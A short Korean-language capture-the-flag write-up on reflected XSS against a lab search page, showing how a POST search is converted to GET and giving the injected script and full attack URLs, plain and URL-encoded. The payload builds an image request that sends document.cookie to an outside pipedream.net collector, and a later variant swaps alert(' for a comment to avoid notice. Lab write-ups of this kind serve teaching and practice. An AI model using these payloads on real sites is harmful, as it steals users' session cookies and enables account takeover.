※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다. (Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
Reflected XSS를 위해 POST로 처리되고 있는 검색어를 GET method로 변환하기 검색 기능 테스트POST method로 되어있어서 Reflected XSS를 하기엔 악성 스크립트를 넣을 공간이 없다.리피터에서 우클릭 - Change request method를 눌러주면편하게 GET method URL을 얻을 수 있다.
스크립트 작성 및 쿠키 탈취하기 스크립트는 아래와 같고, '); var i = new Image(); i.src=" https://enmqaeuyiny5.x.pipedream.net/?cookiedata= "+document.cookie; alert('
완성된 공격용 URL은 아래와 같다. http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie; alert('&board_search= %F0%9F%94%8D &date_from=&date_to=
참고로, URL인코딩은 아래와 같다. http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=%27%29%3B+var+i+%3D+new+Image%28%29%3B+i.src%3D%22https%3A%2F%2Fenmqaeuyiny5.x.pipedream.net%2F%3Fcookiedata%3D%22%2Bdocument.cookie%3B+alert%28%27&board_search=%F0%9F%94%8D&date_from=&date_to= 하지만 관리자가 알아 차렸다. 아래와 같이 파라미터를 alert('에서 //로 바꿔보았다.
http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie; alert('&board_search= %F0%9F%94%8D &date_from=&date_to=
http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie;//&board_search= %F0%9F%94%8D &date_from=&date_to=